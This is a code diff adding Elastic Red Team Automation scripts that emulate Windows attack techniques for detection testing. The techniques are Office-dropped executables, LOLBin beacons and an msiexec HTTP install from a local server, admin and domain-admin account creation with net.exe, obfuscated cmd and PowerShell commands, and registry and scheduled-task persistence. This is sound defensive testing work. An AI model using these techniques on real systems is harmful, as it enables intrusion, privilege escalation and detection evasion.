/dev/null +++ b/rta/ms_office_drop_exe.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Emulate MS Office Dropping an executable file to disk +# RTA: ms_office_drop_exe.py +# ATT&CK: T1064 +# Description: MS Office writes executable file and it is run. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + cmd_path = "c:\\windows\\system32\\cmd.exe" + + for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]: + common.log("Emulating office application %s" % office_app) + office_path = os.path.abspath(office_app) + common.copy_file(cmd_path, office_path) + + bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid())) + common.execute([office_path, '/c', 'copy', cmd_path, bad_path]) + + time.sleep(1) + common.execute([bad_path, '/c', 'whoami']) + + # cleanup + time.sleep(1) + common.remove_files(office_app, bad_path) + print("") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py new file mode 100644 index 000000000..fa97a885f --- /dev/null +++ b/rta/msbuild_network.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: MsBuild with Network Activity +# RTA: msbuild_network.py +# ATT&CK: T1127 +# Description: Generates network traffic from msbuild.exe + +from . import common + +MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe' + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MS_BUILD) +def main(): + common.log("MsBuild Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + common.log("Updating the callback http://%s:%d" % (ip, port)) + target_task = "tmp-file.csproj" + common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task) + new_callback = "http://%s:%d" % (ip, port) + common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback) + + common.execute([MS_BUILD, target_task], timeout=30, kill=True) + common.remove_file(target_task) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mshta_network.py b/rta/mshta_network.py new file mode 100644 index 000000000..65977f9bc --- /dev/null +++ b/rta/mshta_network.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Microsoft HTA tool (mshta.exe) with Network Callback +# RTA: mshta_network.py +# ATT&CK: T1170 +# Description: Generates network traffic from mshta.exe + +from . import common + +HTA_FILE = common.get_path("bin", "beacon.hta") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(HTA_FILE) +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("MsHta Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + new_callback = "http://%s:%d" % (ip, port) + common.log("Updating the callback to %s" % new_callback) + common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) + + mshta = 'mshta.exe' + common.execute([mshta, HTA_FILE], timeout=3, kill=True) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py new file mode 100644 index 000000000..e999809d2 --- /dev/null +++ b/rta/msiexec_http_installer.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: MsiExec with HTTP Installer +# RTA: msiexec_http_installer.py +# ATT&CK: +# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("MsiExec HTTP Download") + server, ip, port = common.serve_web() + common.clear_web_cache() + common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + common.log("Cleanup", log_type="-") + common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py new file mode 100644 index 000000000..015c377f9 --- /dev/null +++ b/rta/msxsl_network.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: msxsl.exe Network +# RTA: msxsl_network.py +# ATT&CK: T1127 +# Description: Generates network traffic from msxsl.exe + +from . import common + +MS_XSL = common.get_path("bin", "msxsl.exe") +XML_FILE = common.get_path("bin", "customers.xml") +XSL_FILE = common.get_path("bin", "cscript.xsl") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MS_XSL, XML_FILE, XSL_FILE) +def main(): + common.log("MsXsl Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + new_callback = "http://%s:%d" % (ip, port) + common.log("Updating the callback to %s" % new_callback) + common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback) + + common.execute([MS_XSL, XML_FILE, XSL_FILE]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/net_user_add.py b/rta/net_user_add.py new file mode 100644 index 000000000..a9d4124f3 --- /dev/null +++ b/rta/net_user_add.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Create User with net.exe +# RTA: net_user_add.py +# ATT&CK: T1136 +# Description: Adds an account to the local host using the net.exe command + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Creating local and domain user accounts using net.exe") + commands = [ + 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"', + 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain', + 'net.exe group Administrators macgyver /add', + 'net.exe group "Domain Admins" macgyver /add /domain', + 'net.exe localgroup Administrators macgyver /add', + ] + + for cmd in commands: + common.execute(cmd) + + cleanup_commands = [ + "net.exe user macgyver /delete", + "net.exe user macgyver /delete /domain" + ] + + common.log("Removing local and domain user accounts using net.exe", log_type="-") + for cmd in cleanup_commands: + common.execute(cmd) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py new file mode 100644 index 000000000..bd3fa8c64 --- /dev/null +++ b/rta/obfuscated_cmd_commands.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Emulate Obfuscated cmd Commands +# RTA: obfuscated_cmd_commands.py +# ATT&CK: T1036 +# Description: Runs commands through cmd that are obfuscated using multiple techniques. +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe` + commands = """ + %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe + cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1% + cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" + cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" + cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" + cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" + ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3; + """ # noqa: E501 + commands = [c.strip() for c in commands.splitlines()] + + for a in commands: + common.execute(a, shell=True, mute=True) + time.sleep(1) + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + main() diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py new file mode 100644 index 000000000..417beb422 --- /dev/null +++ b/rta/obfuscated_powershell.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Obfuscated PowerShell Commands +# RTA: obfuscated_powershell.py +# ATT&CK: T1027,T1140,T1192,T1193 +# Description: Runs commands through PowerShell that are obfuscated using multiple techniques. +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # All encoded versions of the following: + # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")` + commands = r""" + .($env:public[13]+$env:public[5]+'x')("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc.exe") + iex((('W'+'rite-Hos'+'t no'+'HThi'+'s'+' is'+' my test comma'+'n'+'dnoH'+' '+'-F'+'oregroundCol'+'or G'+'r'+'e'+'en'+'; start'+' c:z'+'R'+'d'+'window'+'szRdsystem'+'3'+'2zRdca'+'lc').rEPlacE(([chaR]122+[chaR]82+[chaR]100),'\').rEPlacE('noH',[StrINg][chaR]39))) + iex("W''rite-H''ost 'This is my test command' -Fore''grou''ndC''olor Gr''een; start c:\windows\system32\ca''lc.ex''e") + iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\" + $env:public[-1] + "alc.exe") + iex(((("{23}{7}{8}{16}{25}{9}{21}{18}{2}{5}{15}{11}{20}{24}{6}{12}{22}{17}{1}{13}{3}{10}{14}{19}{0}{4}" -f 'alc.ex','ndowsSDUsyst','dm4','2','e','H','r','r','ite-Ho','This i','S','oregroundC',' Gr','em3','DU',' -F','s','rt c:SDUwi','t comman','c','ol','s my tes','een; sta','W','o','t m4H')).rePlAce(([Char]109+[Char]52+[Char]72),[StrIng][Char]39).rePlAce(([Char]83+[Char]68+[Char]85),'\'))) + i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe") + &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' ) + " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'') + ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } + """ # noqa: E501 + commands = [c.strip() for c in commands.splitlines()] + + for command in commands: + common.execute(["powershell", "-c", command], shell=True) + time.sleep(1) + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + main() diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py new file mode 100644 index 000000000..3c262da54 --- /dev/null +++ b/rta/office_application_startup.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Office Application Startup +# RTA: office_application_startup.py +# ATT&CK: T1137 +# Description: Modifies the registry to persist a DLL on Office Startup. + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(dll_location="c:\\windows\\temp\\evil.dll"): + # Write evil dll to office test path: + subkey = "Software\\Microsoft\\Office Test\\Special\\Perf" + common.write_reg(common.HKCU, subkey, "", dll_location) + common.write_reg(common.HKLM, subkey, "", dll_location) + + # winreg = common.get_winreg() + # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3) + # set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3) + + # Turn on Office 2010 WWLIBcxm persistence + subkey = "Software\\Microsoft\\Office\\14.0\\Word" + common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD) + + # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0) + + return common.SUCCESS + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py new file mode 100644 index 000000000..059a90451 --- /dev/null +++ b/rta/persistent_scripts.py @@ -0,0 +1,61 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Persistent Scripts +# RTA: persistent_scripts.py +# ATT&CK: T1064 (Scripting), T1086 (PowerShell) + +import os +import time + +from . import common + +VBS = common.get_path("bin", "persistent_script.vbs") +NAME = "rta-vbs-persistence" + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC, VBS) +def main(): + common.log("Persistent Scripts") + + if common.check_system(): + common.log("Must be run as a non-SYSTEM user", log_type="!") + return 1 + + # Remove any existing profiles + user_profile = os.environ['USERPROFILE'] + log_file = os.path.join(user_profile, NAME + ".log") + + # Remove log file if exists + common.remove_file(log_file) + + common.log("Running VBS") + common.execute(["cscript.exe", VBS]) + + # Let the script establish persistence, then read the log file back + time.sleep(5) + common.print_file(log_file) + common.remove_file(log_file) + + # Now trigger a 'logon' event which causes persistence to run + common.log("Simulating user logon and loading of profile") + # common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"]) + # time.sleep(2) + + common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True) + common.execute(["schtasks.exe", "/run", "/tn", NAME]) + + # Wait for the "logon" to finish + time.sleep(30) + common.print_file(log_file) + + # Now delete the user profile + common.log("Cleanup", log_type="-") + common.remove_file(log_file) + common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/port_monitor.py b/rta/port_monitor.py new file mode 100644 index 000000000..fbb8230ab --- /dev/null +++ b/rta/port_monitor.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Privilege Escalation via Port Monitor Registration +# RTA: port_monitor.py +# ATT&CK: T1013 +# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Writing registry key and dummy dll") + + key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah" + value = "test" + dll = "test.dll" + + with common.temporary_reg(common.HKLM, key, value, dll): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_args.py b/rta/powershell_args.py new file mode 100644 index 000000000..9c5cdfd0d --- /dev/null +++ b/rta/powershell_args.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Powershell with Suspicious Arguments +# RTA: powershell_args.py +# ATT&CK: T1140 +# Description: Calls PowerShell with suspicious command line arguments. + +import base64 +import os + +from . import common + + +def encode(command): + return base64.b64encode(command.encode('utf-16le')) + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("PowerShell Suspicious Commands") + temp_script = os.path.abspath("tmp.ps1") + + # Create an empty script + with open(temp_script, "w") as f: + f.write("whoami.exe\nexit\n") + + powershell_commands = [ + ['powershell.exe', '-ExecutionPol', 'Bypass', temp_script], + ['powershell.exe', 'iex', 'Get-Process'], + ['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)], + ] + + for command in powershell_commands: + common.execute(command) + + common.remove_file(temp_script) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py new file mode 100644 index 000000000..955404dc3 --- /dev/null +++ b/rta/powershell_base64_gzip.py @@ -0,0 +1,22 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: PowerShell with base64/gzip +# RTA: powershell_base64_gzip.py +# ATT&CK: T1140 +# Description: Calls PowerShell with command-line that contains base64/gzip + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("PowerShell with base64/gzip") + + command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501 + common.execute(command) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py new file mode 100644 index 000000000..04a4ddfae --- /dev/null +++ b/rta/powershell_from_script.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: PowerShell Launched from Script +# RTA: powershell_from_script.py +# ATT&CK: T1064, T1192, T1193 +# Description: Creates a javascript file that will launch powershell. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Write script + script_file = os.path.abspath("launchpowershell.vbs") + script = """Set objShell = CreateObject("Wscript.shell") + objShell.run("powershell echo 'Doing evil things...'; sleep 3") + """ + with open(script_file, 'w') as f: + f.write(script) + + # Execute script + for proc in ["wscript", "cscript"]: + common.execute([proc, script_file]) + time.sleep(3) + + # Clean up + common.remove_file(script_file) + + return common.SUCCESS + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py new file mode 100644 index 000000000..962cda58e --- /dev/null +++ b/rta/process_double_extension.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Double Process Extension +# RTA: process_double_extension.py +# ATT&CK: T1036 +# Description: Create and run a process with a double extension. + +from . import common + +MY_APP = common.get_path("bin", "myapp_x64.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + anomalies = [ + "test.txt.exe" + ] + + for path in anomalies: + common.log("Masquerading process as %s" % path) + common.copy_file(MY_APP, path) + common.execute([path]) + common.remove_file(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py new file mode 100644 index 000000000..8eb5dbb52 --- /dev/null +++ b/rta/process_extension_anomalies.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Executable with Unusual Extensions +# RTA: process_extension_anomalies.py +# ATT&CK: T1036 +# Description: Creates processes with anomalous extensions + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + anomalies = [ + "bad.pif", + "evil.cmd", + "evil.gif", + "bad.pdf", + "suspicious.bat", + "hiding.vbs", + "evil.xlsx" + ] + + for path in anomalies: + common.log("Masquerading python as %s" % path) + common.copy_file(MY_APP, path) + common.execute([path]) + common.remove_file(path) + + +if __name__ == 